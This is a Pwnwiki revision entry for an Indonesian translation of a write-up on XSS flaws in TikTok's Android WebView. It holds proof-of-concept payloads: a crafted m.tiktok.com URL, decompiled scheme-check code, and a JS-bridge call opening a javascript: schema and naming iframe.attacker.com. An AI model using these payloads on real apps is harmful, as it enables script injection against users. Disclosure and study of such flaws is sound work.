Pwnwiki: Created page with "Meskipun verifikasi tidak didasarkan pada solusi javascript, solusi ini juga dapat digunakan untuk melakukan serangan XSS di WebView."

2021-05-26T13:15:27Z

Created page with "Meskipun verifikasi tidak didasarkan pada solusi javascript, solusi ini juga dapat digunakan untuk melakukan serangan XSS di WebView."

New page

<languages />

== XSS Generik di TikTok WebView ==

<pre>
https://m.tiktok.com/falcon/#'),alert(1));//
</pre>
Eksekusi berikut akan dipicu:
<pre>
JSON.stringify(window.performance.getEntriesByName('https://m.tiktok.com/falcon/#'),alert(1));//'))
</pre>

==Add Wiki Activity的另一個XSS==
Tambahkan Aktivitas Wiki menerapkan verifikasi URL untuk memastikan bahwa URL dalam daftar hitam tidak akan dibuka di dalamnya. Namun verifikasi hanya dilakukan pada skema http atau https. Karena mereka yakin program lain tidak valid dan tidak perlu diverifikasi.

if(!e.b(arg8)) {
com.bytedance.t.c.e.b.a("AbsSecStrategy", "needBuildSecLink : url is invalid.");
return false;
}public static boolean b(String arg1) {
return !TextUtils.isEmpty(arg1) && ((arg1.startsWith("http")) || (arg1.startsWith("https"))) && !e.a(arg1);
}

Meskipun verifikasi tidak didasarkan pada solusi javascript, solusi ini juga dapat digunakan untuk melakukan serangan XSS di WebView.

<pre>
window.ToutiaoJSBridge.invokeMethod(JSON.stringify({
"__callback_id": "0",
"func": "openSchema",
"__msg_type": "callback",
"params": {
"schema": "aweme://wiki?url=javascript://m.tiktok.com/%250adocument.write(%22%3Ch1%3EPoC%3C%2Fh1%3E%22)&disable_app_link=false"
},
"JSSDK": "1",
"namespace": "host",
"__iframe_url": "http://iframe.attacker.com/"
}));
</pre>

安卓版TikTok XSS漏洞/id - Revision history

Pwnwiki: Created page with "Meskipun verifikasi tidak didasarkan pada solusi javascript, solusi ini juga dapat digunakan untuk melakukan serangan XSS di WebView."